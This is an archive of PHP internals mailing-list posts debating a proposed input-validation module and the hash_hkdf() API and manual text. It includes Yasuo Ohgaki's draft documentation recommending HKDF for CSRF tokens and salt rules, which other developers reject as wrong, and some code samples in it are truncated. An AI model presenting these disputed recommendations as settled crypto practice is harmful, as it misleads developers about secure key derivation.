> throw new InvalidOrderAmount(
> "Order value to big. Maximum allowed value is ".MAX_ORDER_AMOUNT
> );
> }
>
> return $value;
> }
>
You seems mixing up responsibility between
- Input validation that should be input handling code's responsibility.
- Logical validation that should be model code's responsibility .
Please stick to single responsibility principle that you should be well
aware of.
Input handling code should only accepts valid inputs and let other codes
use it.
Other responsibilities are not input handling code's responsibilities.
Your example code should be in logic, not input handling, that is written
by PHP script.
As I wrote in README.md, there are only 3 types of inputs.
1. Valid data should accepted.
2. Valid data should accepted, but user's mistake. e.g. Logical error like
your example above.
3. Invalid. Anything other than 1 and 2 (i.e. Client cannot send these
value)
"validate" module is supposed to take care 3 which is nothing to do with
models, etc.
It should validate against input data spec, not logical meaning of the
input. If
programmer did this, single responsibility principle is broken.
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
[PHP-DEV] hash_hkdf() signature and return value
Hi all, This is the last recommendation for hash_hkdf[1]. In fact, this would be the last chance to fix because we'll have 7.2 soon. The issue is secure usage and API consistency. Currently hash_hkdf() has following signature: hash_hkdf(string $algo , string $ikm [, int $length = 0 [, string $info = '' [, string $salt = '' ]]] ) These are rationals behind recommendation. There are many, but please read on. === Parameter Order === HKDF[2] algorithm is: 1. General purpose key derivation function as per RFC 5869 2. "$salt" parameter is a "pre-shared _KEY_" in many cases as mentioned RFC 5869 3. "$salt" (or preshared key) is very strongly recommended for security season as per RFC 5869 4. Supplying salt that the same length of input key does not affect performance as per RFC 5969 5. "$info" is what makes HKDF useful, but it's less important as described in RFC 5869 6. "$length" is truly an optional parameter for very specific encryption algorithm or usage. Rationale for change: 1. Key derivations without secondary key ($salt) does not make sense when secondary key could be available. HKDF is designed for best possible key security with the key. Not using secondary key ($salt) simply downgrades key security without no reason. i.e. HKDF performance is the same when $salt has the same as hash is set. 2. HKDF is based on HMAC. When $info has no use, HMAC would be the best choice for it. i.e. $newkey = hash_hmac($ikm, $key); 3. It does not make sense violating RFC recommendations for a RFC implementation. >From these facts and reasons, $salt, $info and $length parameter order and requirement should be changed from string $algo , string $ikm [, int $length = 0 [, string $info = '' [, string $salt = '' ]]] to string $algo , string $ikm , string $salt, string $info = '' [, int $length = 0 ] Note: Users can set empty string if they really don't need $salt and/or $info. Conclusion: This way, users would have better chances to use hash_hkdf() more securely and properly. [1] http://php.net/hash_hkdf [2] http://www.faqs.org/rfcs/rfc5869.html === Return Value and Output Option === The most common HKDF usage with PHP would be: 1. CSRF token generation that is specific to a request with expiration time. (HEX return value would be appropriate, not BINARY) 2. API access token generation that does not transmit "The API Key", but derived key by HKDF. It also should have expiration time. (HEX return value would be appropriate, not BINARY) Consistency with other hash_*() functions: 1. All of other hash_*() returns HEX string hash value. 2. hash_hkdf() is the only one returns BINARY hash value. Conclusion: hash_hkdf() should return HEX by default, not BINARY. Optional [, bool $raw_output = false ] should be added just like other hash_*(). === Compatibility === IMHO, current hash_hkdf() should not be added by PHP 7.1.2, but 7.2.0 in the first place. The mess could be resolved by 7.2. Anyway, hash_hkdf() is added 7.1.2. Hopefully not many users are using it yet. If we change API with 7.2 release, there would be least possible confusions. (We may remove it from 7.1 to avoid confusions, too) Our choices: - Keep the current insecure/inconsistent API forever. - Change the API to have secure/consistent API forever. Conclusion: No conclusion for this. There would be conflicting options. I strongly think it is not worth to keep this insecure/inconsistent API forever. I prefer to change the API to what it should be. What should we do for this? Comments? P.S. Nikita, you've said following during HKDF discussion: - HKDF for CSRF tokens/etc does not make sense at all. - Current parameter order and return value makes perfect sense and has valid/common usages. - Everyone one this list, shouldn't listen to me because I'm insane and totally misunderstood what the HKDF is. Phrases are not the exact, but it should be correct enough. Some part is my fault, w/o reading mail and/or poor English. I blindly assumed you've understand RFC 5869 and possible common usages with PHP. I apologized for the confusion and tried to explain why w/o success. If you still believe what you've said is correct, I don't request you to take these back, show us at least one common/reasonable hash_hkdf() usage example for current API, and point out what's wrong my recommendations and rationales above. If not, I request you to take it back. I respect your contributions much, but the last one you've said is out of tolerance. -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] A validator module for PHP7
Hi Rowan, Crocodile and Lester,
Rowan,
Thank you for helpful suggestions. I think it may better be named
'validate()'/etc.
Sole reason I named functions as 'valid*()' is name collision.
'validate*()' seems
too common, but users should use namespace to avoid collisions. I'll take
your
suggestions into the module.
Crocodile,
I agree your comment. However, my last filter module improvement RFC
with PoC patch was failed. Upside having new module is we can enforce more
strict validations and can have much simpler/extensible API with cleaner
codes.
(Having both 'filter' and 'validator' in one code is mess)
Since the last attempt was failed, new module would be the next reasonable
attempt.
On Wed, Sep 6, 2017 at 4:39 AM, Lester Caine <les...@lsces.co.uk> wrote:
> On 05/09/17 20:05, Yasuo Ohgaki wrote:
> > There is one principle that developers is better to follow.
> > https://en.wikipedia.org/wiki/Fail-fast
> > If we follow this principle, validation at controller makes sense.
>
Oops. A 'is' should be 'are'.
> Since a large proportion of the data coming in is a result of input into
> a previously generated form, the data can often be validated in terms of
> basic structure before even needing to decide if the data set needs to
> be iterated? If things like 'maximum data size' can be established when
> the form is created, any data set larger than that can simply be killed
> off.
>
> Anyway, thank you for pointer for PDO validation. I didn't notice the
> > project. We may cooperate so that there aren't unnecessary validaiton
> > rule incompatibilities
> I've been pushing the idea of a single method of managing metadata for a
> long time. Most of the 'checking' loading down PHP now still misses the
> point and the database style of rules has been around since long before
> PDO and other abstractions messed it up. A single standard set of rules
> that can be used across the board from variable creation to checking
> data going out to forms and returns coming back and data between
> operations such as database activity. This is NOT 'typing' since that
> lacks the vast majority of checks that a decent validation will handle,
> but the much finer details such as limits and value sets. There is a
> vast discrepancy in how this is handled across databases, but the SQL
> standard does provide a base which databases are slowly evolving towards.
>
>
It's nice to have central input type (Not only data type, but length,
chars, format, range and char encoding, as you mentioned) repository for an
app. That's the reason why I would like to cooperate with other validator
implementation(s) to avoid unnecessary incompatibilities.
(For security perspective, it can be said different types of input
validations is
better because if one failed, another may validate data correctly. However,
managing multiple validation rules is burden. Some people try to validate
inputs with WAF. However, I suggest input validation is better to be
implemented
at web apps, not WAF.
It's a lot easier and maintainable if input validation is done by app. App
developers know what the input should be exactly. In addition, app must
validate inputs regardless of WAF. I'm not saying WAF is useless. WAF
is still useful as network layer protection. I'm saying multiple layer
validations
are recommended, but it can be unmanageable easily unless some trade
off is taken)
I agree that PDO level validation is almost mandatory, especially for
SQLite3.
SQLite3 data type is pseudo type and allows any "characters". e.g. Int type
can store 'alert("XSS")', etc.
My validate module allows users to have central input type repository by
simple native PHP array. Array could be stored anywhere users want.
I think it will work as you wish if 'validate' module is compatible with
PDO
validator.
For the time being, I'm not sure what it should be. Data specifications for
database may be stored as additional info in 'validate' spec array, or PDO
validator may simply assume data types specified in 'validate' spec array
should be enforced, and use 'string' data spec as required format,
or 'validate' module may expose API so that PDO validator can use it for
basic PHP data type validation.
Regards,
--
Yasuo Ohgaki
Re: [PHP-DEV] A validator module for PHP7
Hi Lester, I always make some mistakes. s/are/is There is one principle that developers is better to follow. https://en.wikipedia.org/wiki/Fail-fast If we follow this principle, validation at controller makes sense. Anyway, thank you for pointer for PDO validation. I didn't notice the project. We may cooperate so that there aren't unnecessary validaiton rule incompatibilities. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] A validator module for PHP7
Hi Lester, On Tue, Sep 5, 2017 at 8:36 PM, Lester Caine <les...@lsces.co.uk> wrote: > On 05/09/17 12:18, Yasuo Ohgaki wrote: > > I cannot guess people's thought. I appreciated feedback! > > With a decent database layer a lot of the validation you are proposing > is already covered but PDO does not help in this area. Adding another > layer that does not integrate with a storage layer is just adding to the > current mess ... > I'm fun of multiple tier and multiple layer of protections. For instance, Microsoft's SQL injection security page states as follows. - Never build Transact-SQL statements directly from user input; use stored procedures to validate user input. - Validate user input by testing type, length, format, and range. Use the Transact-SQL QUOTENAME() function to escape system names or the REPLACE() function to escape any character in a string. - Implement multiple layers of validation in each tier of your application. https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/writing-secure-dynamic-sql-in-sql-server This is what secure coding practice recommends, too. It may seem mess, but it's not. Outermost trust boundary that can be controlled is the most important trust boundary. For server side web app developers, outermost trust boundary is controller in MVC model. Input validations at model is a bit too late to mitigate risks involved with invalid(attacker) inputs. Both model and controller layer Input validations (as well as in the database, too) are good/important to have. There are one principle that developers are better to follow. https://en.wikipedia.org/wiki/Fail-fast If we follow this principle, validation at controller makes sense. Regards, P.S. For database administrators or web app developers who maintain application Models, outermost trust boundary is "database system" and "the Model layer" respectively. Outermost trust boundary is changed by what they can control. This kind of discussion could result in mess. I hope I explained well enough. -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] A validator module for PHP7
Hi all,
On Tue, Sep 5, 2017 at 12:19 PM, Paul Jones <pmjone...@gmail.com> wrote:
>
> > On Sep 4, 2017, at 18:06, Marco Pivetta <ocram...@gmail.com> wrote:
> >
> > On Mon, Sep 4, 2017 at 8:56 PM, Crocodile <crocodil...@gmail.com> wrote:
> >
> >> In most cases users would like more than just valid/invalid, i. e. which
> >> particular rule(s) failed and also human-readable error messages. As of
> >> simple validation that is almost always at hand, filter_* functions do a
> >> good job, although I agree that they could be better. I, for one, would
> >> like to see a full-featured validation as part of PHP. However, this RFC
> >> only looks like a slightly better version of filter_* functions, that
> is,
> >> the new module will provide almost the same functionality but with a
> >> different interface. I would vote against it.
> >>
> >
> > And also, it would need to be better than all of these to be worth
> writing
> > it in C:
> >
> > https://packagist.org/search/?q=validator
>
> And these as well: https://packagist.org/search/?q=filter
I cannot guess people's thought. I appreciated feedback!
Why do you think basic validation module should be better than full OO
implementation(s)?
Simple and basic type support NULL/BOOL/INT/FLOAT/STRING/ARRAY/OBJECT is
enough
for C written PHP module. IMHO, PHP modules are better of to provide basic
features
that may be extended by user scripts.
I picked 1st one on the list as an example.
This kind of rule construction is inefficient compare to simple array rules,
so I doubt this is the way for basic validator module written by C.
$validator = Validation::createValidator();
$violations = $validator->validate('Bernhard', array(
new Length(array('min' => 10)),
new NotBlank(),
));
However, this particular validation class seems it could be good one that
wraps
validate module for nicer OO API and faster execution.
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
[PHP-DEV] A validator module for PHP7
Hi all, I spent a little time for a new input validation module. It's not totally new module, but is based on Filter module's validation filter improvement RFC in many ways. [1] As all of us knew already, input validation is the most important practice in secure coding. [2][3] Yet, we don't provide usable feature out of box. Sadly, almost all apps do not have proper input validation at trust boundary. Unless we improve filter's validation, we need usable basic validator by default. IMO. Since I didn't get much feedbacks during the RFC discussion, I cannot tell what part is disliked. I guess too much features in filter is one reason. Another is messed up codes/features by providing both "filter" and "validation". Validator for PHP7 (validate module) gets rid of unneeded features. It only has features for basic PHP data type validations. Validation rule(spec) array is flexible enough. Almost any types of inputs could be handled by multiple and nested validation rules. Except some minor features like overflow checks, most planned features are implemented. https://github.com/yohgaki/validate-php Although the code is based on filter module's code, it's almost full rewrite except validation logic came from filter. Please consider this as under development module. Feedbacks are appreciated. Regards, [1] https://wiki.php.net/rfc/add_validate_functions_to_filter [2] https://www.securecoding.cert.org/confluence/display/seccode/Top+10+Secure+Coding+Practices [3] https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide -- Yasuo Ohgaki yohg...@ohgaki.net
[PHP-DEV] hash_hkdf() manual improvement
Hi all, hash_hkdf() does not have sane/optimal/consistent signature, but this is what we've decided by RFC vote. We should have good manual page for users to avoid vulnerable usage at least. Current hash_hkdf() manual page. http://php.net/hash_hkdf This is final proposal patch for hash_hkdf.xml. https://gist.github.com/yohgaki/e518898ffda2fe37ab911d7a7fcb1a9f I've put most aspects discussed in the RFC 5869. If you find anything that violates RFC 5869 recommendation/suggestion (and/or HMAC recommendation/suggestion), please let me know. https://tools.ietf.org/html/rfc5869 Please note that previous discussion for this revealed that there is no valid example usage that justifies current signature. i.e. Specifying $length/$info parameter(s) only cannot be common/optimal/recommended usage. If any example, I'll add it to the manual. Corrections/improvements are appreciated. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
On Fri, May 12, 2017 at 8:37 PM, Dan Ackroyd <dan...@basereality.com> wrote: > This conversation appears to have reached an end. > Indeed. No example usage that justifies current signature. It proves what was wrong. I'll post final doc patch in new thread. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
Hi Ryan, On Wed, May 10, 2017 at 7:12 AM, Ryan Pallas <derokor...@gmail.com> wrote: > Dude, he doesnt have to provide anything. The proposal was turned down > unanimously. Why do you keep sending mail after mail on this? Also, try > sending one mail instead of many when replying. Also, consider that the > likelihood of changing minds is now far gone as continuing this thread > without modifying your stance just biases people more against it. Current hash_hkdf() signature is too easy to be misused, so I'm suggesting manual page improvement. It's may be better to discuss in new thread. Draft doc patch is here. https://gist.github.com/anonymous/ace4fa267f20041676f265fe58c3f1ea It's silly not to have example(s) that justify current hash_hdkf() signature, isn't it? Anydrey, I'm looking forward your example. Why are you taking so long to show example(s)? If you cannot think of any, you should admit your misunderstanding, shouldn't you? Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
On Wed, May 10, 2017 at 7:21 AM, li...@rhsoft.net <li...@rhsoft.net> wrote: > Am 09.05.2017 um 23:36 schrieb Yasuo Ohgaki: > >> Hi, >> >> On Sun, Apr 30, 2017 at 3:55 PM, li...@rhsoft.net > li...@rhsoft.net> <li...@rhsoft.net <mailto:li...@rhsoft.net>> wrote: >> >> . PLEASE STOP riding that dead horse - it's even annoying for >> users following the devel-list how you argue on that opic over >> months - nonody shares your view, that's it - accept it >> >> >> Apparently not. >> You obviously do not understand what is the issue >> > > i understand the issue - you just don't accept that it was refused - > period - deal with it You obviously DO NOT understand issue here. I'm requesting "Should be in the manual" hash_hkdf() example(s) that justify current function signature. The example(s) should be common/recommended/secure. I've had enough argument that current hash_hkdf() is reasonable, but no proper example is shown yet. If you have any, I appreciate it. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
Hi Andrey,
On Sun, Apr 30, 2017 at 8:26 AM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote:
> On Sun, Apr 30, 2017 at 8:14 AM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote:
>
>> I don't need your view of HKDF RFC or usage, but I do need good practical
>> examples that justify your point of view. Please don't waste of your/my
>> time,
>> just give some good examples in next reply. Thanks.
>>
>
> BTW, valid (yet not common/proper) example that I can think of is,
>
> $strong_512bit_key = random_bytes(64);
> $strong_256bit_key = hash_hkdf('sha3-512', $strong_512bit_key, 32);
> ?>
>
> while it does not even require HKDF, though.
>
> $strong_512bit_key = random_bytes(64);
> $strong_256bit_key = hash('sha3-256', $strong_512bit_key);
> ?>
>
> should be good enough.
>
> Even with "Info", following HMAC is enough.
>
> $strong_512bit_key = random_bytes(64);
> $strong_256bit_key = hash_hmac('sha3-256', $strong_512bit_key, $some_info);
> ?>
>
I'm only asking examples for long enough time.
I presume you cannot think of any valid and good example that
justify current hash_hkdf() signature.
Then documentation must stress not to use hash_hkdf() only with
"length" and "length/info".
Regards,
P.S.
Draft doc patch is this. (Not updated yet)
https://gist.github.com/anonymous/ace4fa267f20041676f265fe58c3f1ea
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
Hi, On Sun, Apr 30, 2017 at 3:55 PM, li...@rhsoft.net <li...@rhsoft.net> wrote: > . PLEASE STOP riding that dead horse - it's even annoying for users > following the devel-list how you argue on that opic over months - nonody > shares your view, that's it - accept it Apparently not. You obviously do not understand what is the issue. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
On Sun, Apr 30, 2017 at 8:14 AM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote: > I don't need your view of HKDF RFC or usage, but I do need good practical > examples that justify your point of view. Please don't waste of your/my > time, > just give some good examples in next reply. Thanks. > BTW, valid (yet not common/proper) example that I can think of is, while it does not even require HKDF, though. should be good enough. Even with "Info", following HMAC is enough. -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
Hi Andrey,
On Tue, Apr 25, 2017 at 7:17 PM, Andrey Andreev <n...@devilix.net> wrote:
> Hi,
>
> On Tue, Apr 25, 2017 at 3:28 AM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote:
> >>
> >> If you want examples, search GitHub for PHP code utilizing HKDF - you
> >> will see that most projects use it without a salt, including
> >> https://github.com/defuse/php-encryption - pretty much the best PHP
> >> userspace crypto library today. And I'm only saying "most" because I
> >> can't be bothered to go through literally all of them; I've found NONE
> >> that do use the salt.
> >
> >
> > Wrong.
> > I don't think the author wouldn't make such mistake, so I checked.
> >
> > /**
> > * Derives authentication and encryption keys from the secret, using
> a
> > slow
> > * key derivation function if the secret is a password.
> > *
> > * @param string $salt
> > *
> > * @throws Ex\EnvironmentIsBrokenException
> > *
> > * @return DerivedKeys
> > */
> > public function deriveKeys($salt)
> > {
> > if (Core::ourStrlen($salt) !== Core::SALT_BYTE_SIZE) {
> > throw new Ex\EnvironmentIsBrokenException('Bad salt.');
> > }
> >
> > if ($this->secret_type === self::SECRET_TYPE_KEY) {
> > $akey = Core::HKDF(
> > Core::HASH_FUNCTION_NAME,
> > $this->secret->getRawBytes(),
> > Core::KEY_BYTE_SIZE,
> > Core::AUTHENTICATION_INFO_STRING,
> > $salt
> > );
> > $ekey = Core::HKDF(
> > Core::HASH_FUNCTION_NAME,
> > $this->secret->getRawBytes(),
> > Core::KEY_BYTE_SIZE,
> > Core::ENCRYPTION_INFO_STRING,
> > $salt
> > );
> > return new DerivedKeys($akey, $ekey);
> > } elseif ($this->secret_type === self::SECRET_TYPE_PASSWORD) {
> >
> >
>
> Fair enough, it uses a salt somewhere I didn't see - as I said, I
> didn't check literally everything.
> It doesn't use it here:
> https://github.com/defuse/php-encryption/blob/
> 0364e3ea20d2382e709034e972d474f551c3273c/src/Crypto.php#L124
>
>
It is in
public static function legacyDecrypt($ciphertext, $key)
which is legacy(old and not recommended) way.
> >>
> >> You will also find zero projects using it for CSRF protection.
> >
> >
> > You obviously does not understand HKDF RFC at all. (And don't read my
> reply)
> > It seems you consider HKDF as a specific KDF, but it is _not_.
> >
>
> I'm telling you nobody uses it for CSRF and you can't disprove that,
> but somehow that means I don't understand RFC 5869?!
>
> > HKDF is designed as general purpose KDF. It is clearly stated in RFC 5869
> >
> > 4. Applications of HKDF
> >
> >HKDF is intended for use in a wide variety of KDF applications.
> >
> >
> > Just because you cannot think of how general purpose KDF could be used
> > for other purposes, it does not mean it should not be used other
> purposes.
> > Especially when it is designed for general purpose in the first place.
> >
>
> First of all, KDF is a *cryptographic* term.
>
The fact that you don't know this should disqualify you of even being
> involved in this discussion, and it is laughable that you're trying to
> tell anybody that they don't understand RFC5869.
>
KDF is "Key Derivation Function".
HKDF is designed as "General KDF" as RFC 5869 explicitly states in Section
4.
>
> Secondly, you're cherry-picking a single sentence, out of context and
> twisting its meaning to serve your personal agenda.
> Here's the entire paragraph in question:
>
>HKDF is intended for use in a wide variety of KDF applications.
>These include the building of pseudorandom generators from imperfect
>sources of randomness (such as a physical random number generator
>(RNG)); the generation of pseudorandomness out of weak sources of
>randomness, such as entropy collected from system events, user's
>keystrokes, etc.; the derivation of cryptographic keys from a shared
>Diffie-Hellman value in a key-agreement protocol; derivation of
>symmetric keys from a hybrid public-key encryption scheme; key
>derivation for key-wrapping mechanisms; and more. All of these
>applications can benefit from the simplicity and multi-purpose nature
>of HKDF, as well as from its analytical foundat
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
On Tue, Apr 25, 2017 at 9:28 AM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote: > I don't think the author wouldn't make such mistake, so I checked. > Oops. Double denial. I thought the author wouldn't make such mistake, so I checked. -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
Hi Andrey,
On Sun, Apr 23, 2017 at 7:24 AM, Andrey Andreev <n...@devilix.net> wrote:
>
> You're tired? Yasuo, the reason why you're not receiving replies
> unless you say "I'll commit in a few days if there are no more
> comments" is because everybody is tired of talking to you.
>
> If you want examples, search GitHub for PHP code utilizing HKDF - you
> will see that most projects use it without a salt, including
> https://github.com/defuse/php-encryption - pretty much the best PHP
> userspace crypto library today. And I'm only saying "most" because I
> can't be bothered to go through literally all of them; I've found NONE
> that do use the salt.
>
Wrong.
I don't think the author wouldn't make such mistake, so I checked.
/**
* Derives authentication and encryption keys from the secret, using a
slow
* key derivation function if the secret is a password.
*
* @param string $salt
*
* @throws Ex\EnvironmentIsBrokenException
*
* @return DerivedKeys
*/
public function deriveKeys($salt)
{
if (Core::ourStrlen($salt) !== Core::SALT_BYTE_SIZE) {
throw new Ex\EnvironmentIsBrokenException('Bad salt.');
}
if ($this->secret_type === self::SECRET_TYPE_KEY) {
$akey = Core::HKDF(
Core::HASH_FUNCTION_NAME,
$this->secret->getRawBytes(),
Core::KEY_BYTE_SIZE,
Core::AUTHENTICATION_INFO_STRING,
$salt
);
$ekey = Core::HKDF(
Core::HASH_FUNCTION_NAME,
$this->secret->getRawBytes(),
Core::KEY_BYTE_SIZE,
Core::ENCRYPTION_INFO_STRING,
$salt
);
return new DerivedKeys($akey, $ekey);
} elseif ($this->secret_type === self::SECRET_TYPE_PASSWORD) {
> You will also find zero projects using it for CSRF protection.
>
You obviously does not understand HKDF RFC at all. (And don't read my reply)
It seems you consider HKDF as a specific KDF, but it is _not_.
HKDF is designed as general purpose KDF. It is clearly stated in RFC 5869
4 <https://tools.ietf.org/html/rfc5869#section-4>. Applications of HKDF
HKDF is intended for use in a wide variety of KDF applications.
Just because you cannot think of how general purpose KDF could be used
for other purposes, it does not mean it should not be used other purposes.
Especially when it is designed for general purpose in the first place.
The vote ended with 1 Yes (you) and 14 No; not a single person has
> agreed with you so far, and most have explicitly stated strong
> disagreement with your proposed changes. Yet you insist on pushing
> your *personal opinion*, ignoring everybody else and acting as if ~80
> mails haven't already been exchanged.
>
> How is it even possible that you still believe that everybody is wrong
> and you alone are right? Give it up already.
Prove my idea in the manual (or my RFC) is wrong by logic, rather than FUD.
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
Hi Niklas, On Sun, Apr 23, 2017 at 4:32 AM, Niklas Keller <m...@kelunik.com> wrote: > > What the... there were multiple concerns regarding the changes already. > I'm hereby expressing another strong -1 on these. > Instead of posting your feeling, please post logic behind your idea. Most of the changes are based on what is _written_ in the RFC 5869 I'm a bit tired with arguments without valid logic. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
Hi all, On Sat, Apr 15, 2017 at 9:17 AM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote: > My opinions are either based on concrete logic or > recommendations based reliable sources. > > I improved hash_hkdf() manual farther more based on RFC 5869 descriptions. > https://gist.github.com/anonymous/ace4fa267f20041676f265fe58c3f1ea > > Please verify it again. > I would like to finish documentation. RFC 5869 clearly states HKDF is a generic key derivation function. Omitting salt when key does not have enough entropy is obvious bad practice or mistake. Even when key has enough entropy, long life key (IKM) requires good salt for the best key security. These could be understood from the RFC and other basic crypt theory. I'll commit the doc in a few days if there is no more comments on this. Andrey, (Or anyone who vote no for the PHP RFC) Could you show some good example hash_hkdf() usages that justify current function signature? I suppose you should have few common and good examples. I cannot think of any common/good example that uses length only or length/info only. No good example is shown so far. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
Hi Pieter, On Fri, Apr 14, 2017 at 6:45 PM, Pieter Hordijk <i...@pieterhordijk.com> wrote: > > I have the feeling you keep adding your own personal preferences to the > manual. No, not at all. My opinions are either based on concrete logic or recommendations based reliable sources. I improved hash_hkdf() manual farther more based on RFC 5869 descriptions. https://gist.github.com/anonymous/ace4fa267f20041676f265fe58c3f1ea Please verify it again. Regards, P.S. I'm a human, so I make mistakes. I appreciate if one could point out when my logic is wrong. -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
Hi Nikita,
On Fri, Apr 14, 2017 at 6:24 PM, Nikita Popov <nikita@gmail.com> wrote:
> Strong -1 on these docs changes. They are wrong and they will confuse
> users about when and how HKDF should be used.
>
> I have no idea where you got the idea that HKDF is supposed to be used for
> CSRF token generation, but it isn't. I did not check whether your code is
> correct and secure, but CSRF token generation is certainly not a common or
> typical application of HKDF and as such should not be present in the
> documentation.
>
> Your "bad example" is actually pretty much the textbook use-case for HKDF.
> The way you wrote it (get a AES-256 key from an AES-128 key) doesn't make
> much sense, but the general principle of extracting two keys (for
> encryption and authentication) from a single key is one of *the* use-cases
> of HKDF. It is also, contrary to your statement in the documentation
> snippet, perfectly cryptographically sound. A salt is not required for this
> case. A salt *may* be beneficial, but for entirely different reasons (as
> Scott pointed out, for many block cipher modes fixed encryption keys only
> have a lifetime of around 2^64 encryptions, past which point IV collisions
> are to be expected -- a salt in key derivation could mitigate this.)
>
It seems you consider HKDF as very specific function for very specific
crypt task
which is wrong by the RFC 5869 intention.
The RFC 5869 explicitly mentions as
4. Applications of HKDF
HKDF is intended for use in a wide variety of KDF applications.
Why we must limit HKDF usage for certain crypt tasks even if it is
designed for _general_ Key Derivation tasks?
Key derivations in authentication is very common task.
CSRF token is "Key that validates the _authentic_ request".
It is obvious that expiration enabled URI specific CSRF token is
a lot secure than common static CSRF tokens that are valid for all requests.
How this could be bad example?
128 bit entropy key for AES 256 is simply bad practice like
$aes256key = hash('sha256', 'mypassword', true);
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
Hi all, On Fri, Apr 14, 2017 at 6:22 AM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote: > > On Thu, Apr 13, 2017 at 5:11 PM, Pieter Hordijk <i...@pieterhordijk.com> > wrote: > >> Is this really something we need in our official docs instead of for >> example >> on a personal blog? >> > > I wrote draft doc patch. > Please verify. > I used "very low entropy salt" for this CSRF token because "Input key is strong, very low entropy salt is acceptable". To avoid confusions, I revised the doc patch. Index: en/reference/hash/functions/hash-hkdf.xml === --- en/reference/hash/functions/hash-hkdf.xml(リビジョン 342317) +++ en/reference/hash/functions/hash-hkdf.xml(作業コピー) @@ -3,7 +3,7 @@ http://docbook.org/ns/docbook; xmlns:xlink="http://www.w3.org/1999/xlink;> hash_hkdf - Generate a HKDF key derivation of a supplied key input + Derive secure new key from existing key by using HKDF @@ -16,6 +16,20 @@ stringsalt'' + + RFC 5869 defines HKDF (HMAC based Key Derivation Function) which + is general purpose KDF. HKDF could be useful for many PHP + applications that require temporary keys, such CSRF token, + pre-signed key for URI, password for password protected + URI, and so on. + + + + When info and length + is not required for your program, more efficient + hash_hmac could be used instead. + + @@ -25,7 +39,7 @@ algo - Name of selected hashing algorithm (i.e. "sha256", "sha512", "haval160,4", etc..) + Name of selected hashing algorithm (i.e. "sha3-256", "sha3-512", "sha256", "sha512", "haval160,4", etc..) See hash_algos for a list of supported algorithms. @@ -39,7 +53,7 @@ ikm - Input keying material (raw binary). Cannot be empty. + Input keying material. Cannot be empty. @@ -60,7 +74,8 @@ info - Application/context-specific info string. + Application/context-specific info string. Info is intended for + public information such as user ID, protocol version, etc. @@ -71,8 +86,34 @@ Salt to use during derivation. - While optional, adding random salt significantly improves the strength of HKDF. +While optional, adding random salt significantly improves the +strength of HKDF. Salt could be either secret or +non-secret. It is used as "Pre Shared Key" in many use cases. +Strong value is preferred. e.g. Use random_bytes. +Optimal salt size is size of used hash algorithm. + + + Although salt is the last optional parameter, salt is the + most important parameter for key security. Omitted salt is + indication of inappropriate design in most cases. Users must + set appropriate salt value whenever it is possible. Omit salt + only when it cannot be used. + + + Strong salt is mandatory and must be kept secret when input + key is weak, otherwise input key security will not be kept. + When input key is strong, low entropy salt is acceptable. + However, providing strong salt is the best practice for the + best possible key security. Strong salt is strongly recommended + long life input keys. + + + Salt must not be able to be controlled by users. i.e. User + must not be able to set salt value and get derived key. User + controlled salt allows input key analysis to attackers. + + @@ -101,6 +142,99 @@ +URI specific CSRF token that supports expiration by hash_hkdf + + + + + Common CSRF token uses the same token value for a session and all + URI. This example CSRF token expires and is specific to a + URI. i.e. CSRF token http://example.com/form_A/ is not valid for + http://example.com/form_B/ Since token value is computed, no + database is required. + + + + + hash_hkdf example + + + @@ -130,6 +288,7 @@ +hash_hmac hash_pbkdf2 RFC 5869 userland implementation -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
